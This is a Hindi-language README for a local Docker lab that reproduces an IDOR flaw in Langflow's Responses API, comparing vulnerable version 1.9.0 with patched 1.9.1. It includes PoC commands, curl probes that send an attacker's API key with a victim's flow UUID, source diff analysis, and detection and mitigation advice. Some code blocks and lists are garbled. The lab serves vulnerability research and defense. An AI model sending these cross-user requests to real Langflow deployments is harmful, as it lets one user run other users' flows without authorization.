
# CVE-2026-55255 के पुनरुत्पादन के लिए स्थानीय Docker लैब Langflow के Responses API में एक IDOR भेद्यता। कमजोर बनाम पैच किए गए संस्करणों में क्रॉस-यूज़र फ्लो निष्पादन को अनुरोध-आधारित PoC के साथ मान्य करता है।
/api/v1/responsesयह रिपॉज़िटरी CVE-2026-55255 को दोहराने और सत्यापित करने के लिए एक स्थानीय Docker लैब है, जो Langflow के OpenAI-संगत Responses API को प्रभावित करने वाली एक Insecure Direct Object Reference (IDOR) कमज़ोरी है।
Langflow एक open-source प्लेटफ़ॉर्म है जो AI-संचालित एजेंटों और वर्कफ़्लो को बनाने और तैनात करने के लिए है। यह कमज़ोर व्यवहार /api/v1/responses एंडपॉइंट को प्रभावित करता है, जहाँ एक प्रमाणित हमलावर किसी अन्य उपयोगकर्ता का flow UUID model मान के रूप में प्रदान कर सकता है और Langflow से उस पीड़ित-स्वामित्व वाले flow को निष्पादित करवा सकता है।
यह लैब दो Langflow संस्करणों की तुलना करती है:
| सेवा | Langflow version | उद्देश्य | URL |
|---|
| vuln | 1.9.0 | कमज़ोर तुलना लक्ष्य | http://localhost:7860 |
| patched | 1.9.1 | पैच किया गया तुलना लक्ष्य | http://localhost:7861 |
इस स्थानीय लैब में प्रदर्शित HTTP सत्यापन पथ निम्न है:```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow
कमजोर लक्ष्य में, हमलावर के स्वामित्व वाली API कुंजी पीड़ित के स्वामित्व वाले फ़्लो को निष्पादित कर सकती है और प्रतिक्रिया में केवल-पीड़ित मार्कर होता है:```text
VICTIM_ONLY_CONTEXT_55255_VULN
पैच किए गए टारगेट में, वही क्रॉस-यूज़र अनुरोध विक्टिम मार्कर नहीं लौटाता और OpenAI-शैली की त्रुटि बॉडी लौटाता है:```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}
यह लैब Langflow 1.9.0 और Langflow 1.9.1 का उपयोग करके भेद्य-बनाम-पैच किए गए HTTP व्यवहार को सत्यापित करता है।
यह लैब जानबूझकर स्थानीय Docker सेवाओं तक सीमित है। यह बाहरी प्रणालियों को लक्षित नहीं करता है और इसमें क्रेडेंशियल चोरी, डेटाबेस डंपिंग, विनाशकारी पेलोड, बाहरी कॉलबैक, मैलवेयर, पर्सिस्टेंस, या पोस्ट-एक्सप्लॉइटेशन गतिविधि शामिल नहीं है।
## सत्यापित तथ्य
| दावा | साक्ष्य | इस लैब में कैसे सत्यापित करें |
| ----- | -------- | ------------------------- |
| CVE-2026-55255 Langflow के `/api/v1/responses` एंडपॉइंट को प्रभावित करता है। | GitHub एडवाइज़री GHSA-qrpv-q767-xqq2 `/api/v1/responses` में एक IDOR का वर्णन करती है। | References अनुभाग की समीक्षा करें और PoC को दोनों स्थानीय लक्ष्यों के विरुद्ध चलाएं। |
| GitHub एडवाइज़री प्रभावित संस्करणों को `< 1.9.1` और पैच किए गए संस्करण को `1.9.1` के रूप में सूचीबद्ध करती है। | GitHub एडवाइज़री GHSA-qrpv-q767-xqq2। | `docker-compose.yml` में भेद्य और पैच किए गए लक्ष्य संस्करणों की तुलना करें। |
| कुछ डाउनस्ट्रीम भेद्यता स्रोत सटीक फिक्स्ड संस्करण पर असहमत हैं। | GitHub/GitLab `1.9.1` को फिक्स्ड के रूप में सूचीबद्ध करते हैं; कुछ डाउनस्ट्रीम इंटेलिजेंस पेज `1.9.2` का उल्लेख करते हैं या मिश्रित शब्दावली रखते हैं। | References अनुभाग की समीक्षा करें और परीक्षण किए गए 1.9.1 व्यवहार के लिए लैब सत्यापन पर भरोसा करें। |
| यह लैब Langflow 1.9.0 को भेद्य तुलना लक्ष्य के रूप में उपयोग करता है। | `vuln` सेवा `langflowai/langflow:1.9.0` का उपयोग करती है। | `docker-compose.yml` का निरीक्षण करें और `docker compose ps` चलाएं। |
| यह लैब Langflow 1.9.1 को पैच किए गए तुलना लक्ष्य के रूप में उपयोग करता है। | `patched` सेवा `langflowai/langflow:1.9.1` का उपयोग करती है। | `docker-compose.yml` का निरीक्षण करें और `docker compose ps` चलाएं। |
| Langflow का Responses API `POST /api/v1/responses` का उपयोग करता है। | Langflow दस्तावेज़ OpenAI-संगत Responses API एंडपॉइंट का वर्णन करता है। | PoC या मैन्युअल curl अनुरोध को `/api/v1/responses` के विरुद्ध चलाएं। |
| Langflow का Responses API फ्लो ID को `model` मान के रूप में स्वीकार करता है। | Langflow दस्तावेज़ बताता है कि `model` मान को `flow_id` से बदल दिया जाता है। | PoC अनुरोध बॉडी का निरीक्षण करें। |
| Langflow API अनुरोधों के लिए `x-api-key` के माध्यम से API कुंजी आवश्यक है। | Langflow API दस्तावेज़ `x-api-key` हेडर के साथ API कुंजी प्रमाणीकरण का वर्णन करता है। | PoC अनुरोध हेडर का निरीक्षण करें। |
| PoC अनुरोध-आधारित है। | `poc/validate_idor.py` HTTP अनुरोध भेजता है और Docker, Docker Compose, शेल कमांड, या कंटेनर API को कॉल नहीं करता है। | `poc/validate_idor.py` का निरीक्षण करें। |
| भेद्य लक्ष्य पीड़ित-स्वामित्व वाले फ्लो को हमलावर-स्वामित्व वाली API कुंजी के साथ निष्पादित करता है। | भेद्य प्रतिक्रिया `VICTIM_ONLY_CONTEXT_55255_VULN` लौटाती है। | भेद्य PoC कमांड को पीड़ित फ्लो ID और हमलावर API कुंजी के साथ चलाएं। |
| पैच किया गया लक्ष्य उसी क्रॉस-यूज़र निष्पादन पथ को ब्लॉक करता है। | पैच की गई प्रतिक्रिया `error.code = flow_not_found` लौटाती है और पीड़ित मार्कर को नहीं लौटाती है। | पैच किए गए PoC कमांड को पीड़ित फ्लो ID और हमलावर API कुंजी के साथ चलाएं। |
## मान्यताएं और अज्ञात
यह लैब Langflow 1.9.0 को भेद्य तुलना लक्ष्य के रूप में उपयोग करता है क्योंकि GitHub एडवाइज़री GHSA-qrpv-q767-xqq2 1.9.1 से पहले के संस्करणों को प्रभावित के रूप में पहचानती है, और स्थानीय परीक्षण ने 1.9.0 में भेद्य व्यवहार की पुष्टि की है।
यह लैब Langflow 1.9.1 को पैच किए गए तुलना लक्ष्य के रूप में उपयोग करता है क्योंकि GitHub एडवाइज़री GHSA-qrpv-q767-xqq2 1.9.1 को पैच किए गए संस्करण के रूप में सूचीबद्ध करती है, और स्थानीय परीक्षण ने पुष्टि की है कि 1.9.1 परीक्षण किए गए क्रॉस-यूज़र `/api/v1/responses` निष्पादन पथ को `flow_not_found` के साथ ब्लॉक करता है।
स्रोतों के बीच एक संस्करण विसंगति है। GitHub और GitLab एडवाइज़री 1.9.1 से पहले के संस्करणों को प्रभावित और 1.9.1 को फिक्स्ड के रूप में सूचीबद्ध करती हैं। कुछ डाउनस्ट्रीम भेद्यता इंटेलिजेंस पेज 1.9.2 का उल्लेख करते हैं या फिक्स्ड संस्करण के आसपास मिश्रित शब्दावली रखते हैं। यह रिपॉजिटरी उस विसंगति का दस्तावेजीकरण करती है और परीक्षण किए गए व्यवहार को सीधे सत्यापित करती है:```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed
Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed
यह लैब मानता है कि हमलावर को पीड़ित के फ्लो UUID का पहले से पता है। PoC फ्लो ID का ब्रूट-फोर्स नहीं करता, फ्लो की गणना नहीं करता, या पीड़ित के फ्लो ID खोजने का प्रयास नहीं करता।
यह लैब निम्नलिखित के अवलोकनीय HTTP व्यवहार पर केंद्रित है:```text POST /api/v1/responses
इस अनुरोध प्रारूप के साथ:```json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
प्रयोगशाला कमजोर लक्ष्य में अनधिकृत क्रॉस-यूज़र फ्लो निष्पादन और पैच किए गए लक्ष्य में अवरुद्ध व्यवहार प्रदर्शित करती है।
प्रयोगशाला निम्नलिखित प्रदर्शित नहीं करती:
CVE-2026-55255 का मूल कारण Langflow की फ्लो समाधान (flow resolution) लॉजिक में एक प्राधिकरण अंतराल है।
/api/v1/responses एंडपॉइंट model फ़ील्ड के माध्यम से एक फ्लो UUID स्वीकार करता है। कमजोर संस्करणों में, get_flow_by_id_or_endpoint_name() के अंदर UUID लुकअप पथ बिना यह सुनिश्चित किए कि हल किया गया Flow.user_id प्रमाणित API-कुंजी उपयोगकर्ता से मेल खाता है, सीधे प्राथमिक कुंजी द्वारा Flow ऑब्जेक्ट लोड कर सकता था।
कमजोर व्यवहार को इस प्रकार संक्षेपित किया जा सकता है:```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output
पैच किया गया व्यवहार इस प्रकार संक्षेपित किया जा सकता है:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed
सुरक्षा समस्या यह नहीं है कि हमलावर अपने स्वयं के फ्लो के साथ /api/v1/responses को कॉल कर सकता है। यह अपेक्षित व्यवहार है। समस्या यह है कि एक निम्न-विशेषाधिकार प्राप्त प्रमाणित उपयोगकर्ता एंडपॉइंट को किसी अन्य उपयोगकर्ता के स्वामित्व वाले फ्लो को निष्पादित करने के लिए प्रेरित कर सकता है जब पीड़ित फ्लो UUID प्रदान किया जाता है।
सुरक्षा सबक यह है:```text Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.
## स्रोत कोड विश्लेषण
स्रोत-स्तर की समस्या की पुष्टि Langflow `v1.9.0` और `v1.9.1` की तुलना करके की गई थी।
समीक्षा के लिए उपयोग किए गए स्रोत टैग निम्नलिखित थे:
| संस्करण | Git कमिट |
| ------- | ---------- |
| v1.9.0 | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1 | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |
प्रासंगिक सहायक है:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
असुरक्षित UUID शाखा में, फ्लो को ID द्वारा लोड किया गया था:```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)
सुरक्षा-संबंधित लापता जाँच यह थी:```python
flow.user_id == authenticated_user.id
बिना उस स्वामी जांच के, एक मान्य flow UUID किसी अन्य उपयोगकर्ता से संबंधित होने पर भी Flow ऑब्जेक्ट को हल करने के लिए पर्याप्त था।
पैच किया गया संस्करण user_id का सामान्यीकरण जोड़ता है और UUID पथ पर स्वामी स्कोपिंग लागू करता है:```python
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
महत्वपूर्ण व्यवहार है:```text
if the flow exists
and the flow belongs to another user
then treat it as not found
यही कारण है कि पैच की गई लैब प्रतिक्रिया लौटाती है:```json {"error":{"code":"flow_not_found"}}
पीड़ित-स्वामित्व वाले फ्लो को निष्पादित करने के बजाय।
इस लैब के लिए, प्राथमिक कमजोर व्यवहार `/api/v1/responses` निष्पादन पथ है जो `get_flow_by_id_or_endpoint_name()` तक पहुँचता है और स्वामित्व लागू किए बिना पीड़ित-स्वामित्व वाले फ्लो UUID को हल करता है।
पैच संबंधित फ्लो निष्पादन रूट्स को भी सख्त (हार्डन) करता है। `endpoints.py` में, जो रूट पहले raw हेल्पर को FastAPI डिपेंडेंसी के रूप में उपयोग करते थे, उन्हें इससे बदल दिया गया:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]
प्रमाणित रैपरों के लिए जैसे:```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
वे रैपर परिवर्तन अन्य फ्लो निष्पादन मार्गों जैसे `/api/v1/run*` के लिए संबंधित सख्तीकरण हैं। वे सुनिश्चित करते हैं कि सहायक को एक साधारण अनुरोध पैरामीटर पर निर्भर रहने के बजाय प्रमाणित उपयोगकर्ता आईडी प्राप्त हो। इस लैब द्वारा प्रदर्शित मुख्य सुधार `get_flow_by_id_or_endpoint_name()` के अंदर रिज़ॉल्वर-पक्ष स्वामित्व जाँच ही है।
इसलिए स्रोत-स्तर सुधार के दो संबंधित भाग हैं:```text
Core resolver fix:
enforce owner scoping before returning a Flow object
Related route dependency hardening:
pass the authenticated API-key or session user's ID into the resolver
Langflow 1.9.1 कमजोर फ्लो रिज़ॉल्यूशन पथ को कठोर बनाता है, क्रॉस-यूज़र लुकअप को न मिलने के रूप में मानकर तथा संबंधित फ्लो निष्पादन मार्गों को रिज़ॉल्वर में प्रमाणित उपयोगकर्ता संदर्भ पास करना सुनिश्चित करके।
मुख्य पैच की गई लॉजिक है:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None
पैच उन रूट्स के लिए प्रमाणित रैपर निर्भरताएँ भी जोड़ता है जिन्हें फ्लो को हल करने की आवश्यकता होती है:```python
async def get_flow_for_api_key_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
async def get_flow_for_current_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)
सुरक्षा-संबंधित परिवर्तन है:```text Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow
After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed
पैच सूचना प्रकटीकरण को भी कम करता है। क्रॉस-यूज़र एक्सेस को एक अलग प्राधिकरण प्रतिक्रिया लौटाने के बजाय नहीं मिला के रूप में माना जाता है, जो यह प्रकट कर सकती है कि किसी अन्य उपयोगकर्ता का प्रवाह मौजूद है या नहीं।
यह लैब स्रोत समीक्षा और रनटाइम सत्यापन को अलग रखता है:```text
Source patch review:
explains why the vulnerable resolver could return a victim-owned flow.
Runtime validation:
proves the vulnerable target executes the victim-owned flow and the patched target does not.
लैब Docker Compose के माध्यम से दो पृथक Langflow लक्ष्य चलाती है।```text . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md
The `state/` फ़ाइलें सीड सेवाओं द्वारा लैब स्टार्टअप के दौरान उत्पन्न की जाती हैं। `src/` निर्देशिका में चेक-आउट की गई Langflow स्रोत ट्री होती हैं जिनका उपयोग स्रोत-डिफ़ सत्यापन के लिए किया जाता है।
दोनों Langflow सेवाएँ अलग-अलग एप्लिकेशन संस्करण और अलग-अलग कंटेनर-आंतरिक SQLite डेटाबेस का उपयोग करती हैं:
| Service | Component | Version / Role |
| ------------ | --------- | -------------------------------------- |
| vuln | Langflow | कमज़ोर लक्ष्य अनुप्रयोग |
| patched | Langflow | पैच किया गया तुलनात्मक अनुप्रयोग |
| seed-vuln | Python | स्थानीय उपयोगकर्ता, API कुंजियाँ, फ़्लो बनाता है |
| seed-patched | Python | स्थानीय उपयोगकर्ता, API कुंजियाँ, फ़्लो बनाता है |
डिफ़ॉल्ट रूप से उजागर सेवाएँ:```text
Vulnerable target: http://localhost:7860
Patched target: http://localhost:7861
| लक्ष्य | Langflow संस्करण | अपेक्षित व्यवहार |
|---|---|---|
| http://localhost:7860 | 1.9.0 | हमलावर API कुंजी पीड़ित-स्वामित्व वाले flow को निष्पादित कर सकती है |
| http://localhost:7861 | 1.9.1 | क्रॉस-यूज़र पीड़ित flow निष्पादन अवरुद्ध है |
seed services निम्नलिखित के दौरान स्वचालित रूप से चलती हैं:```bash docker compose up --build --wait
वे बनाते हैं:```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready
बीज-निर्मित state/*.json फ़ाइलें अस्थायी स्थानीय परीक्षण मान प्रदान करती हैं, जैसे API कुंजियाँ और flow UUIDs।
PoC state/*.json नहीं पढ़ता। उपयोगकर्ता लक्ष्य URL, API कुंजी, flow ID, और वैकल्पिक अपेक्षित मार्कर को कमांड-लाइन तर्कों के माध्यम से प्रदान करता है।
लैब संवेदनशील /api/v1/responses रूट को न तो बनाता है और न ही संशोधित करता है। यह रूट Langflow द्वारा प्रदान किया जाता है।
--wait सपोर्ट होjqPoC के लिए किसी Python third-party पैकेज की आवश्यकता नहीं है। PoC केवल Python standard library मॉड्यूल का उपयोग करता है।
Seed container आंतरिक रूप से Python requests पैकेज स्थापित करता है। यह पैकेज केवल lab setup के दौरान seed services द्वारा उपयोग किया जाता है, PoC द्वारा नहीं।
लैब को एक साफ़ (clean) अवस्था से प्रारंभ करें:```bash docker compose down -v --remove-orphans find state -type f ( -name ".json" -o -name ".ready" ) -delete docker compose up --build --wait
सेवा स्थिति जाँचें:```bash
docker compose ps
अपेक्षित स्वस्थ सेवाएँ:```text cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched
अपेक्षित उजागर लक्ष्य:```text
http://localhost:7860
http://localhost:7861
बीज स्थिति फ़ाइलों की जाँच करें:```bash ls -la state cat state/vuln.json | jq . cat state/patched.json | jq .
अपेक्षित फ़ाइलें:```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready
कमजोर लक्ष्य के विरुद्ध अनुरोध-आधारित सत्यापन चलाएँ:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
पैच किए गए लक्ष्य के विरुद्ध अनुरोध-आधारित सत्यापन चलाएँ:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
PoC एक लक्ष्य URL, एक API कुंजी, एक flow ID, और एक वैकल्पिक अपेक्षित मार्कर स्वीकार करता है:```bash
python3 poc/validate_idor.py
--url <target_url>
--api-key <api_key>
--flow-id <target_flow_id>
--expect-marker <expected_output_marker>
Required options:
| Option | Meaning |
| ------ | ------- |
| `--url` | Langflow आधार URL |
| `--api-key` | `x-api-key` हेडर में प्रयुक्त API कुंजी |
| `--flow-id` | `model` मान के रूप में प्रयुक्त Flow UUID |
Optional options:
| Option | Meaning |
| ------ | ------- |
| `--expect-marker` | लक्षित फ्लो निष्पादित होने पर प्रतिक्रिया में अपेक्षित मार्कर |
PoC निम्न HTTP अनुरोध भेजता है:```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
अनुरोध बॉडी:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
PoC अनुरोध-आधारित है। यह Docker, Docker Compose, शेल कमांड, WP-CLI, कंटेनर APIs, या Langflow seed APIs को कॉल नहीं करता है।
इस लैब में, `state/*.json` का उपयोग डिस्पोज़ेबल स्थानीय API कुंजियों और फ्लो आईडी को PoC कमांड में कॉपी करने के लिए किया जा सकता है। PoC स्वयं उन फ़ाइलों पर निर्भर नहीं करता है। `state/*.json` में मौजूद API कुंजियाँ डिस्पोज़ेबल स्थानीय लैब कुंजियाँ हैं; इन कमांड्स में वास्तविक प्रोडक्शन API कुंजियों का उपयोग न करें।
## अपेक्षित परिणाम
### संवेदनशील लक्ष्य
कमांड:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY]
[REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
[RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True
[BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...
======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED
महत्वपूर्ण असुरक्षित सिग्नल है:```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned
कमांड:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
अपेक्षित पैच्ड टारगेट सिग्नल:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>
[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : False
expected marker : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found : False
error code : flow_not_found
[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}
========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED
महत्वपूर्ण पैच किया गया संकेत है:```text attacker API key
### बिना मार्कर के निष्पादन देखा गया
यदि `--expect-marker` को छोड़ दिया जाता है और लक्ष्य एक पूर्ण Langflow प्रतिक्रिया लौटाता है, तो PoC रिपोर्ट करता है:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED
इसका मतलब है कि लक्षित फ्लो निष्पादित हुआ, लेकिन PoC स्वयं यह साबित नहीं कर सकता कि प्रदान किया गया फ्लो ID किसी अन्य उपयोगकर्ता का है। स्वामित्व की पुष्टि लैब सीड डेटा, फ्लो ID के स्रोत, या अन्य अधिकृत साक्ष्य के माध्यम से की जानी चाहिए।
वैलिडेटर Langflow Responses API एंडपॉइंट पर एक HTTP POST अनुरोध भेजता है:```text /api/v1/responses
अनुरोध प्रदान की गई API key का उपयोग करता है:```text
x-api-key: <attacker-api-key>
अनुरोध निकाय आपूर्ति किए गए फ्लो UUID को model मान के रूप में उपयोग करता है:```json
{
"model": "",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
अपेक्षित कमजोर व्यवहार:```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker
अपेक्षित पैच व्यवहार:```text request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found
इस लैब में, Langflow 1.9.1 `HTTP 200` एक OpenAI-शैली JSON त्रुटि ऑब्जेक्ट के साथ लौटाता है:```json
{"error":{"code":"flow_not_found"}}
यही कारण है कि PoC यह मानने के बजाय कि HTTP ट्रांसपोर्ट स्थिति 404 होनी चाहिए, JSON त्रुटि कोड की जाँच करता है।
PoC जानबूझकर केवल क्रॉस-यूज़र फ़्लो निष्पादन शर्त को मान्य करता है। यह फ़्लो आईडी खोजने, UUIDs का ब्रूट-फ़ोर्स करने, उपयोगकर्ताओं को सूचीबद्ध करने, सीक्रेट निकालने या बाहरी सेवाओं को ट्रिगर करने का प्रयास नहीं करता।
लैब सीड state/*.json में अस्थायी स्थानीय मान लिखता है। ये कमांड्स उन स्थानीय मानों का उपयोग करके curl अनुरोध बनाते हैं। स्टेट फ़ाइलें केवल लैब-संबंधी आर्टिफैक्ट हैं।
असुरक्षित प्रोब:```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/vuln.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
अपेक्षित कमजोर परिणाम:```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"
पैच किया गया प्रोब:```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/patched.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/patched.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
अपेक्षित पैच परिणाम:```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}
CVE-2026-55255 बहु-उपयोगकर्ता या मल्टी-टेनेंट Langflow परिनियोजनों में सुरक्षा की दृष्टि से संवेदनशील है, क्योंकि यदि पीड़ित फ़्लो का UUID ज्ञात हो तो एक प्रमाणित उपयोगकर्ता दूसरे उपयोगकर्ता के फ़्लो को निष्पादित करने में सक्षम हो सकता है।
वास्तविक दुनिया पर संभावित प्रभाव इस बात पर निर्भर करता है कि पीड़ित-स्वामित्व वाला फ़्लो क्या करता है।
संभावित प्रभाव में निम्नलिखित शामिल हो सकते हैं:
व्यावहारिक शोषण क्षमता इस बात पर निर्भर करती है कि हमलावर एक मान्य पीड़ित फ़्लो UUID प्राप्त कर सकता है या नहीं। फ़्लो UUID का अनुमान लगाना इस लैब का केंद्र बिंदु नहीं है, और PoC फ़्लो आईडी पर ब्रूट-फ़ोर्स नहीं करता है।
यह लैब केवल सुरक्षित प्राधिकरण सीमा विफलता प्रदर्शित करता है:```text attacker API key
लैब वास्तविक डेटा एक्सेस, वास्तविक गुप्त एक्सेस, LLM प्रोवाइडर कुंजी दुरुपयोग, बाहरी कॉलबैक, या पोस्ट-एक्सप्लॉइटेशन का प्रदर्शन नहीं करता है।
## पहचान और निगरानी
संभावित संकेतकों में प्रमाणित अनुरोध शामिल हैं:```text
POST /api/v1/responses
संदिग्ध अनुरोध पैटर्न:```text x-api-key belongs to user A model contains flow UUID owned by user B
उच्च-संकेत पहचान विचार:```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID
समीक्षा के लिए संभावित एप्लिकेशन-लेयर लॉग या टेलीमेट्री:
model मान,flow_not_found प्रतिक्रियाएँ,/api/v1/responses से सफलतापूर्वक पूर्ण प्रतिक्रियाएँ,भेद्य सत्यापन आर्टिफैक्ट का उदाहरण:```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID
Response: status: completed error: null output contains victim-only marker
पैच किए गए सत्यापन आर्टिफैक्ट का उदाहरण:```text
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
error.code: flow_not_found
victim marker not returned
अनुशंसित निगरानी क्रियाएँ:
/api/v1/responses के लिए API लॉग की समीक्षा करें।flow_not_found बर्स्ट की समीक्षा करें।Langflow को पैच किए गए संस्करण में अपग्रेड करें।
GitHub Advisory GHSA-qrpv-q767-xqq2, Langflow 1.9.1 को CVE-2026-55255 के लिए पैच किए गए संस्करण के रूप में सूचीबद्ध करता है। कुछ डाउनस्ट्रीम भेद्यता खुफिया स्रोत 1.9.2 का उल्लेख करते हैं या पैच किए गए संस्करण के बारे में मिश्रित शब्दावली रखते हैं। यह लैब सत्यापित करती है कि Langflow 1.9.1 परीक्षण किए गए /api/v1/responses क्रॉस-यूज़र निष्पादन पथ को flow_not_found के साथ अवरुद्ध करता है। उत्पादन वातावरण के लिए, लैब तुलना संस्करण पर रुकने के बजाय नवीनतम उपलब्ध Langflow रिलीज़ में अपडेट करें।
अनुशंसित शमन चरण:
/api/v1/responses अनुरोधों के लिए लॉग की समीक्षा करें।सुरक्षा इंजीनियरिंग सबक:
यह लैब केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।
PoC या मैन्युअल curl अनुरोध उन प्रणालियों के विरुद्ध न चलाएँ जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।
इस लैब में वास्तविक उत्पादन क्रेडेंशियल, ग्राहक डेटा, भुगतान डेटा, API कुंजियाँ, LLM प्रदाता कुंजियाँ, डेटाबेस क्रेडेंशियल या उत्पादन सीक्रेट्स का उपयोग न करें।
इच्छित दायरा स्थानीय Docker सेवाओं तक सीमित है, जैसे:```text http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861
The PoC जानबूझकर अनुरोध-आधारित है। यह Docker, Docker Compose, shell commands, WP-CLI, या container APIs को कॉल नहीं करता है।
लैब में निम्नलिखित के लिए payloads शामिल नहीं हैं:
* flow UUID ब्रूट फोर्सिंग,
* उपयोगकर्ता एन्यूमरेशन,
* क्रेडेंशियल चोरी,
* डेटाबेस डंपिंग,
* LLM प्रोवाइडर कुंजी का दुरुपयोग,
* मनमाना कमांड निष्पादन,
* मैलवेयर,
* पर्सिस्टेंस,
* लेटरल मूवमेंट,
* ग्राहक डेटा एक्सेस,
